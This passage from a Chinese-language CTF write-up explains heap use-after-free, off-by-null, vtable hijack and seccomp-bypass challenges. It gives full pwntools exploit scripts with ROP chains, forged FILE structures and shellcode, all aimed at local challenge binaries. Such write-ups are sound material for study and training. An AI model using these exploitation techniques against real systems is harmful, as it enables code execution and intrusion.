<span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// [rsp+4h] [rbp-Ch]</span></span>
<span class="line"></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">  ptr = heap[v1].content;</span>
<span class="line">  <span class="keyword">if</span> ( !ptr )</span>
<span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Item does not exist&quot;</span>);</span>
<span class="line">  <span class="built_in">free</span>(ptr);</span>
<span class="line">  ptr = <span class="number">0LL</span>;</span>
<span class="line">  heap[v1].size = <span class="number">0LL</span>;</span>
<span class="line">                                <span class="comment">//只清零size，典型的uaf</span></span>
<span class="line">                                <span class="comment">//可以free假堆块，或者double free，随意</span></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="type">int</span> <span class="title function_">add</span><span class="params">()</span></span>
<span class="line">&#123;</span>
<span class="line">  <span class="type">int</span> result; <span class="comment">// eax</span></span>
<span class="line">  <span class="type">int</span> v1; <span class="comment">// eax</span></span>
<span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [rsp+4h] [rbp-1Ch]</span></span>
<span class="line">  <span class="type">size_t</span> size; <span class="comment">// [rsp+8h] [rbp-18h]</span></span>
<span class="line"></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">    fgets(ptr, size, <span class="built_in">stdin</span>);</span>
<span class="line">                                <span class="comment">//fgets输入必定有\x00截断</span></span>
<span class="line">                                <span class="comment">//实际上最多读size-1个字符，</span></span>
<span class="line">    heap[v2].content = ptr;</span>
<span class="line">    heap[v2].size = size;</span>
<span class="line">    <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Item added at index %d\n&quot;</span>, v2);</span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="type">int</span> <span class="title function_">show</span><span class="params">()</span></span>
<span class="line">&#123;</span>
<span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// [rsp+4h] [rbp-Ch]</span></span>
<span class="line"></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">    <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Data: %s\n&quot;</span>, ptr);</span>
<span class="line">                                <span class="comment">//printf输出会被\x00截断</span></span>
<span class="line">                                <span class="comment">//配合fgets，难以泄露地址</span></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>采取堆块重叠的办法，申请8个大堆块再free掉</p>
<p>然后重新申请回来，再free掉。</p>
<p>则最后一个堆块被两个指针同时指向，一个指针用于free，另外一个指针用于show泄露地址</p>
<p>然后打house of cat的板子</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">0000: 0x20 0x00 0x00 0x00000004  A = arch</span>
<span class="line">0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008</span>
<span class="line">0002: 0x20 0x00 0x00 0x00000000  A = sys_number</span>
<span class="line">0003: 0x35 0x00 0x01 0x40000000  if (A &lt; 0x40000000) goto 0005</span>
<span class="line">0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008</span>
<span class="line">0005: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0008</span>
<span class="line">0006: 0x15 0x01 0x00 0x00000101  if (A == openat) goto 0008</span>
<span class="line">0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span>
<span class="line">0008: 0x06 0x00 0x00 0x00000000  return KILL</span>
</pre></td></tr></table></figure>

<p>沙箱禁止了open&#x2F;openat，用mprotect修改权限，再编写shellcode，用openat2绕过</p>
<p>exp:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">from pwn import *</span>
<span class="line">filename=<span class="string">&#x27;./vuln&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = lambda x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = lambda s : p.sendline(s)</span>
<span class="line">sa = lambda x,s : p.sendafter(x,s)</span>
<span class="line">s = lambda s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="meta"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;127.0.0.1&#x27;</span>,<span class="number">3515</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line"><span class="meta"># context.log_level=<span class="string">&#x27;debug&#x27;</span></span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="meta"># gdb.attach(p,<span class="string">&#x27;b *(&amp;setcontext+61)\ngo&#x27;</span>)</span></span>
<span class="line"></span>
<span class="line">def add(idx,size,content):</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,str(idx))</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,str(size))</span>
<span class="line">    sla(<span class="string">&#x27;data&#x27;</span>,content)</span>
<span class="line">def edit(idx, content):</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,str(idx))</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,content)</span>
<span class="line">def show(idx):</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,<span class="string">&#x27;3&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,str(idx))</span>
<span class="line">def <span class="built_in">free</span>(idx):</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,<span class="string">&#x27;4&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>,str(idx))</span>
<span class="line"></span>
<span class="line"><span class="keyword">for</span> i in range(<span class="number">0</span>,<span class="number">8</span>):</span>
<span class="line">    add(i,<span class="number">0x3f8</span>,<span class="string">&#x27;&#x27;)</span></span>
<span class="line"><span class="string"># add(8,0x400)</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">for i in range(0,8):</span></span>
<span class="line"><span class="string">    free(i)</span></span>
<span class="line"><span class="string">for i in range(8,16):</span></span>
<span class="line"><span class="string">    add(i,0x3f8,&#x27;</span><span class="string">&#x27;)</span></span>
<span class="line"><span class="string">free(7)</span></span>
<span class="line"><span class="string">show(15)</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">p.recvuntil(&#x27;</span>Data: <span class="string">&#x27;)</span></span>
<span class="line"><span class="string">key = u64(p.recvline(keepends=False)+b&#x27;</span>\x00\x00\x00<span class="string">&#x27;)&lt;&lt;12</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">add(7,0x3f8,&#x27;</span><span class="string">&#x27;)</span></span>
<span class="line"><span class="string">add(16,0x1f8,&#x27;</span><span class="string">&#x27;)</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">for i in range(0,8):</span></span>
<span class="line"><span class="string">    free(i)</span></span>
<span class="line"><span class="string">show(15)</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">p.recvuntil(&#x27;</span>Data: <span class="string">&#x27;)</span></span>
<span class="line"><span class="string">libcbase = u64(p.recvline(keepends=False)+b&#x27;</span>\x00\x00<span class="string">&#x27;) - 0x203b20</span></span>
<span class="line"><span class="string">saddr = libcbase + libc.sym[&#x27;</span>system<span class="string">&#x27;]</span></span>
<span class="line"><span class="string">io_list_all = libcbase + libc.sym[&#x27;</span>_IO_list_all<span class="string">&#x27;]</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">for i in range(0,8):</span></span>
<span class="line"><span class="string">    add(i,0x3f8,&#x27;</span><span class="string">&#x27;)</span></span>
<span class="line"><span class="string">free(6)</span></span>
<span class="line"><span class="string">free(7)</span></span>
<span class="line"><span class="string">edit(15,p64(io_list_all^(key&gt;&gt;12)))</span></span>
<span class="line"><span class="string">add(17,0x3f8,p64(key+0x80))</span></span>
<span class="line"><span class="string">add(17,0x3f8,p64(key+0x80))</span></span>
<span class="line"><span class="string">haddr=key+0x80</span></span>
<span class="line"><span class="string">magic=libcbase+0x00000000000a9b53</span></span>
<span class="line"><span class="string">magic=0x000000000010d05b+libcbase</span></span>
<span class="line"><span class="string">magic=0x0000000000176f0e+libcbase</span></span>
<span class="line"><span class="string">eataddr=libcbase+libc.sym[&#x27;</span>execveat<span class="string">&#x27;]</span></span>
<span class="line"><span class="string">fake_io=haddr</span></span>
<span class="line"><span class="string">IO_wfile_jumps=libcbase+libc.sym[&#x27;</span>_IO_wfile_jumps<span class="string">&#x27;]</span></span>
<span class="line"><span class="string">setcontext_61=libcbase+libc.sym[&#x27;</span>setcontext<span class="string">&#x27;]+61</span></span>
<span class="line"><span class="string">rdi=libcbase+0x000000000010f75b</span></span>
<span class="line"><span class="string">rax=libcbase+0x00000000000dd237</span></span>
<span class="line"><span class="string">rsi=libcbase+0x0000000000110a4d</span></span>
<span class="line"><span class="string">sys_ret=libcbase+0xF4759</span></span>
<span class="line"><span class="string">ret=libcbase+0x000000000010f75b+1</span></span>
<span class="line"><span class="string">saddr=libcbase+libc.sym[&#x27;</span>system<span class="string">&#x27;]</span></span>
<span class="line"><span class="string">binsh=libcbase+libc.search(&#x27;</span>/bin/sh<span class="string">&#x27;).__next__()</span></span>
<span class="line"><span class="string">Rop=p64(rdi)+p64(binsh)+p64(saddr)</span></span>
<span class="line"><span class="string">mp=libcbase+libc.sym[&#x27;</span>mprotect<span class="string">&#x27;]</span></span>
<span class="line"><span class="string">orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)</span></span>
<span class="line"><span class="string">pay=flat(</span></span>
<span class="line"><span class="string">&#123;</span></span>
<span class="line"><span class="string">0x0:[b&#x27;</span>/flag\x00<span class="string">&#x27;],     # rdi=binsh</span></span>
<span class="line"><span class="string">0x20:[p64(0)],            # write_base</span></span>
<span class="line"><span class="string">0x28:[p64(1)],            # write_ptr --&gt; ptr &gt; base</span></span>
<span class="line"><span class="string">0xc0:[p64(0)],            # _mode &lt;= 0</span></span>
<span class="line"><span class="string">0xd8:[p64(IO_wfile_jumps+0x30)],</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">0x88:[p64(haddr+0x90),p64(0),p64(1)],   # bypass lock</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],</span></span>
<span class="line"><span class="string">(0xA0+0x20):[p64(0)],</span></span>
<span class="line"><span class="string">(0xA0+0x28):[p64(1)],            # bypass check in wfile_seekoff</span></span>
<span class="line"><span class="string">(0xA0+0x30):[p64(1)],            # bypass check in wfile_seekoff</span></span>
<span class="line"><span class="string">(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable</span></span>
<span class="line"><span class="string">(0xB0+0xd8+0x18):[p64(magic)],   # call entry</span></span>
<span class="line"><span class="string">(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],</span></span>
<span class="line"><span class="string">(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],</span></span>
<span class="line"><span class="string">(0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp</span></span>
<span class="line"><span class="string">(0x1C8+0x68):[p64(key^(key&amp;0xfff))],       # rdi</span></span>
<span class="line"><span class="string">(0x1C8+0xA8):[p64(mp)],              # ret_addr</span></span>
<span class="line"><span class="string">(0x1C8+0x88):[p64(7)],            # rdx</span></span>
<span class="line"><span class="string">(0x1C8+0x70):[p64(0x1000)],          # rsi</span></span>
<span class="line"><span class="string">(0x280):[p64(key+0x308),asm(f&#x27;</span><span class="string">&#x27;&#x27;</span></span>
<span class="line"><span class="string">                            mov r10, 24</span></span>
<span class="line"><span class="string">                            mov rsi, &#123;haddr&#125;</span></span>
<span class="line"><span class="string">                            mov edi, -100</span></span>
<span class="line"><span class="string">                            mov rdx, &#123;key+0x380&#125;</span></span>
<span class="line"><span class="string">                            mov rax, 0x1b5</span></span>
<span class="line"><span class="string">                            syscall</span></span>
<span class="line"><span class="string">                            mov rdi, rax</span></span>
<span class="line"><span class="string">                            mov rdx, 0x100</span></span>
<span class="line"><span class="string">                            xor rax, rax</span></span>
<span class="line"><span class="string">                            syscall</span></span>
<span class="line"><span class="string">                            mov rax, 1</span></span>
<span class="line"><span class="string">                            mov rdi, 1</span></span>
<span class="line"><span class="string">                            syscall</span></span>
<span class="line"><span class="string">                            &#x27;</span><span class="string">&#x27;&#x27;)</span></span>
<span class="line"><span class="string">]</span></span>
<span class="line"><span class="string">&#125;,filler=b&#x27;</span>\x00<span class="string">&#x27;)</span></span>
<span class="line"><span class="string">edit(15,pay)</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">print(hex(key+0x80))</span></span>
<span class="line"><span class="string">print(hex(libcbase))</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">p.interactive()</span></span>
</pre></td></tr></table></figure>

<h1 id="MINISNAKE"><a href="https://imi-imiab.com/posts/cnblogs-18867406/#MINISNAKE" class="headerlink" title="MINISNAKE"></a>MINISNAKE</h1><p>如hints所写，撞墙和吃被写在一个线程里面</p>
<p>且触发一个后就会导致线程睡眠</p>
<p>那么吃食物的同时即可穿墙</p>
<p>配合number皮可以实现任意写</p>
<p>上下是±16，左右是±1，可以跳过canary防止crash</p>
<p>操作和调试过程略复杂且乏味，略过不提</p>
<p>通关秘籍如下：</p>
<p><code>种子 : 96630</code><br><code>112 - 9的时候按下</code><br><code>112 - 10的时候按右</code><br><code>121 -10 的时候按q退出</code></p>
<p>即可getshell</p>
<h1 id="Ex-Aid-2"><a href="https://imi-imiab.com/posts/cnblogs-18867406/#Ex-Aid-2" class="headerlink" title="Ex-Aid 2"></a>Ex-Aid 2</h1><p>shellcode编写题，空间充裕</p>
<p>不论是追求超短shellcode，leak栈地址打rop</p>
<p>还是用短跳连接shellcode，简单orw，打法多样，根据喜好来便可</p>
<p>exp如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./checkin&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;127.0.0.1&#x27;</span>,<span class="number">45159</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p,&#x27;b *$rebase(0x15BA)\ngo&#x27;)</span></span>
<span class="line"></span>
<span class="line">shellcode = asm(</span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">push r11</span></span>
<span class="line"><span class="string">pop rdx</span></span>
<span class="line"><span class="string">push rax</span></span>
<span class="line"><span class="string">pop rdi</span></span>
<span class="line"><span class="string">push rbp</span></span>
<span class="line"><span class="string">pop rsi</span></span>
<span class="line"><span class="string">push rax</span></span>
<span class="line"><span class="string">push rax</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">mov al,0x2</span></span>
<span class="line"><span class="string">pop rsi</span></span>
<span class="line"><span class="string">pop rdx</span></span>
<span class="line"><span class="string">push rbp</span></span>
<span class="line"><span class="string">pop rdi</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">jmp $+13</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span>)</span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">len</span>(shellcode))</span>
<span class="line">s(shellcode)</span>
<span class="line">sleep(<span class="number">0.5</span>)</span>
<span class="line">shellcode2 = asm(</span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">push rax</span></span>
<span class="line"><span class="string">pop rsi</span></span>
<span class="line"><span class="string">push r11</span></span>
<span class="line"><span class="string">pop r10</span></span>
<span class="line"><span class="string">xor edx,edx</span></span>
<span class="line"><span class="string">mov edi,1</span></span>
<span class="line"><span class="string">mov ax,0x28</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line">)</span>
<span class="line">s(shellcode2)</span>
<span class="line">s(<span class="string">&#x27;\n&#x27;</span>)</span>
<span class="line">pause()</span>
<span class="line">s(<span class="string">&#x27;/flag&#x27;</span>)</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="CTFERS"><a href="https://imi-imiab.com/posts/cnblogs-18867406/#CTFERS" class="headerlink" title="CTFERS"></a>CTFERS</h1><p>main函数下有bug(),</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">bug</span><span class="params">(<span class="type">void</span>)</span></span>
<span class="line">&#123;</span>
<span class="line">  __int64 v1; <span class="comment">// rax</span></span>
<span class="line"></span>
<span class="line">  <span class="keyword">if</span> ( <span class="built_in">std</span>::<span class="built_in">vector</span>&lt;CTFer *&gt;::size(&amp;ctfers) &amp;&amp; !broken )</span>
<span class="line">  &#123;</span>
<span class="line">    v1 = <span class="built_in">std</span>::<span class="built_in">vector</span>&lt;CTFer *&gt;::operator[](&amp;ctfers, <span class="number">0LL</span>);</span>
<span class="line">    <span class="built_in">std</span>::istream::operator&gt;&gt;(&amp;<span class="built_in">std</span>::<span class="built_in">cin</span>, v1);</span>
<span class="line">    broken = <span class="number">1</span>;</span>
<span class="line">                                <span class="comment">// 允许修改一个指向对象的指针</span></span>
<span class="line">                                <span class="comment">// 只能利用一次</span></span>
<span class="line">  &#125;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>没有开启PIE，考虑虚函数劫持</p>
<p>在name里面发现可以控制内容的地址</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">nsigned __int64 <span class="title function_">join_ctf</span><span class="params">(<span class="type">void</span>)</span></span>
<span class="line">&#123;</span>
<span class="line">    <span class="comment">//..</span></span>
<span class="line">  <span class="built_in">std</span>::operator&lt;&lt;&lt;<span class="built_in">std</span>::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;<span class="built_in">std</span>::<span class="built_in">cout</span>, <span class="string">&quot;Name &gt; &quot;</span>);</span>
<span class="line">  <span class="built_in">std</span>::istream::ignore((<span class="built_in">std</span>::istream *)&amp;<span class="built_in">std</span>::<span class="built_in">cin</span>);</span>
<span class="line">  <span class="built_in">std</span>::operator&gt;&gt;&lt;<span class="type">char</span>,<span class="built_in">std</span>::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;<span class="built_in">std</span>::<span class="built_in">cin</span>, &amp;name_buf);</span>
<span class="line">                                <span class="comment">// name_buf为bss段上变量</span></span>
<span class="line">                                <span class="comment">// 考虑在name_buf上伪造变量</span></span>
<span class="line">                                <span class="comment">// 并劫持对象指针，实现任意执行</span></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>由于对象内有name，大几率存在字符串指针</p>
<p>调试后确实发现存在，伪造字符串指针指向got表</p>
<p>调用print_info后即可泄露libc地址</p>
<p>观察print_info的参数传递情况，rdi、rax落在对象地址上，也就是可控地址</p>
<p>在libc中配合<code>grep &quot;call&quot; | grep &quot;rax&quot; | grep &quot;rdi&quot;</code>搜索gadgets</p>
<p>简单构造后即可构造出<code>system(&quot;/bin/sh&quot;)</code></p>
<p>exp如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./ctfers&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=process(filename)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line">gdb.attach(p,<span class="string">&#x27;go&#x27;</span>)</span>
<span class="line">ctfs = <span class="number">0x4092c0</span></span>
<span class="line">bug = <span class="number">0x40266B</span></span>
<span class="line">name_buf=<span class="number">0x4092e0</span></span>
<span class="line">pinfo = <span class="number">0x402996</span></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">name,points = <span class="number">0</span></span>):</span>
<span class="line">    sla(<span class="string">&#x27;&gt; &#x27;</span>,<span class="string">&#x27;0&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;&gt; &#x27;</span>, name)</span>
<span class="line">    sla(<span class="string">&#x27;&gt; &#x27;</span>, <span class="built_in">str</span>(points))</span>
<span class="line">    sla(<span class="string">&#x27;&gt; &#x27;</span>, <span class="string">&#x27;0&#x27;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">quit</span>(<span class="params">index</span>):</span>
<span class="line">    sla(<span class="string">&#x27;&gt; &#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, <span class="built_in">str</span>(index))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">print_info</span>():</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, <span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">add(<span class="string">&#x27;0&#x27;</span>)</span>
<span class="line">add(<span class="string">&#x27;0&#x27;</span>)</span>
<span class="line">add(p64(pinfo)+p64(name_buf)+p64(<span class="number">0</span>)+p64(e.got[<span class="string">&#x27;printf&#x27;</span>])+p64(<span class="number">6</span>)+p64(<span class="number">0x30</span>))</span>
<span class="line"></span>
<span class="line">sla(<span class="string">&#x27;&gt;&#x27;</span>, <span class="built_in">str</span>(<span class="number">0xdeadbeef</span>))</span>
<span class="line">pause()</span>
<span class="line">sl(<span class="built_in">str</span>(name_buf+<span class="number">8</span>))</span>
<span class="line">print_info()</span>
<span class="line">p.recvuntil(<span class="string">&#x27;[0] I am &#x27;</span>)</span>
<span class="line">libcbase=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span>
<span class="line">saddr=libcbase+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(saddr))</span>
<span class="line">pause()</span>
<span class="line">magic1 = <span class="number">0x0000000000162f64</span> + libcbase</span>
<span class="line"><span class="comment"># mov rdi, qword ptr [rax] ;</span></span>
<span class="line"><span class="comment"># mov rax, qword ptr [rdi + 0x38] ; </span></span>
<span class="line"><span class="comment"># call qword ptr [rax + 0x10]</span></span>
<span class="line">magic2 = <span class="number">0x000000000009d318</span>  + libcbase</span>
<span class="line"><span class="comment"># mov rdi, qword ptr [rax + 8] ;</span></span>
<span class="line"><span class="comment"># call qword ptr [rax]</span></span>
<span class="line">pay = flat(</span>
<span class="line">&#123;</span>
<span class="line">    <span class="number">0</span>:magic1,</span>
<span class="line">    <span class="number">8</span>:name_buf,</span>
<span class="line">    <span class="number">0x10</span>:saddr,</span>
<span class="line">    <span class="number">0x18</span>:name_buf+<span class="number">0x30</span>,</span>
<span class="line">    <span class="number">0x20</span>:magic2,</span>
<span class="line">    <span class="number">0x28</span>:saddr,</span>
<span class="line">    <span class="number">0x30</span>:<span class="string">b&#x27;/bin/sh\x00&#x27;</span>,</span>
<span class="line">    <span class="number">0x38</span>:name_buf+<span class="number">0x10</span>,</span>
<span class="line">&#125;,filler= <span class="string">&#x27;\x00&#x27;</span>)</span>
<span class="line">add(pay)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="MMAPHEAP"><a href="https://imi-imiab.com/posts/cnblogs-18867406/#MMAPHEAP" class="headerlink" title="MMAPHEAP"></a>MMAPHEAP</h1><p>本人这题无法通过远程</p>
<p>分析原因发现，exp中一次性add了长度为<code>0xffc0</code>的padding用于<code>offbynull</code></p>
<p>但是远程环境一次只能读约4000字节的payload</p>
<p>一开始写的时候没有考虑到pay长度太长，io会产生问题，最后发现前面的部分已经杂在一起改不动了</p>
<p>但是比赛已经结束，懒得改了（</p>
<p>所以将本地可以通过的代码放置于此</p>
<p>诸位看个思路便可</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">add</span><span class="params">()</span></span>
<span class="line">&#123;</span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">  buf = <span class="built_in">malloc</span>(size);</span>
<span class="line">  write(<span class="number">1</span>, <span class="string">&quot;data: &quot;</span>, <span class="number">6uLL</span>);</span>
<span class="line">  buf[(<span class="type">int</span>)read(<span class="number">0</span>, buf, size)] = <span class="number">0</span>;</span>
<span class="line">                            <span class="comment">//存在off by null</span></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="type">int</span> <span class="title function_">edit</span><span class="params">()</span></span>
<span class="line">&#123;</span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">  write(<span class="number">1</span>, <span class="string">&quot;data: &quot;</span>, <span class="number">6uLL</span>);</span>
<span class="line">  heaps[v1].data[(<span class="type">int</span>)read(<span class="number">0</span>, heaps[v1].data, heaps[v1].size)] = <span class="number">0</span>;</span>
<span class="line">                            <span class="comment">//存在off by null</span></span>
<span class="line">    <span class="comment">//...</span></span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>逆向mylib中的print函数，存在\x00截断</p>
<p>逆向有关结构体可得如下结构</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node_head</span> // <span class="title">sizeof</span>=</span><span class="number">0x38</span></span>
<span class="line">&#123;                                       <span class="comment">// XREF: .bss:node_head/r</span></span>
<span class="line">    chunk_head *chunks;</span>
<span class="line">    __int64 chunk_counts;</span>
<span class="line">    __int64 last;</span>
<span class="line">    __int64 head;</span>
<span class="line">    node_head *next;                    <span class="comment">// XREF: init_malloc+1D/w</span></span>
<span class="line">                                        <span class="comment">// malloc+31/r ...</span></span>
<span class="line">    node_head *back;                    <span class="comment">// XREF: init_malloc+F/w</span></span>
<span class="line">                                        <span class="comment">// init_malloc+16/r ...</span></span>
<span class="line">    __int64 field_30;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">chunk_head</span> // <span class="title">sizeof</span>=</span><span class="number">0x10</span></span>
<span class="line">&#123;</span>
<span class="line">    __int64 size;</span>
<span class="line">    chunk_head *next;</span>
<span class="line">&#125;;</span>
</pre></td></tr></table></figure>

<p>off by null可以修改每个node里面chunk的位置</p>
<p>进而影响堆块申请的位置</p>
<p>通过off by null伪造位置，还可以导致堆块的大小出现问题</p>
<p>由于malloc中对size检查较弱，基本等同于向高地址的任意写</p>
<p>而高地址的任意写进一步导致了edit chunk_head，扩大为任意地址任意写</p>
<p>尽管\x00限制极其严格，我们仍可以通过堆布局</p>
<p>将0结尾地址上以0结尾的值当作size，并通过堆重叠实现泄露</p>
<p>在ld中找到pie地址，最后打回pie中的chunk_list，获得任意读写</p>
<p>由于对ld的查找破坏了dl_resolve，需要手动修复got表中所有需要重定向的函数</p>
<p>最后open &#x2F;flag并read</p>
<p>exp如下：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">from pwn import *</span>
<span class="line">filename=<span class="string">&#x27;./vuln&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libmylib.so&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = lambda x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = lambda s : p.sendline(s)</span>
<span class="line">sa = lambda x,s : p.sendafter(x,s)</span>
<span class="line">s = lambda s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=process(filename)</span>
<span class="line"><span class="meta"># p=remote(<span class="string">&#x27;127.0.0.1&#x27;</span>,9999)</span></span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="meta"># gdb.attach(p,<span class="string">&#x27;go&#x27;</span>)</span></span>
<span class="line"></span>
<span class="line">def add(idx, size ,data):</span>
<span class="line">    sa(<span class="string">&#x27;option:&#x27;</span>, <span class="string">&#x27;1&#x27;</span>)</span>
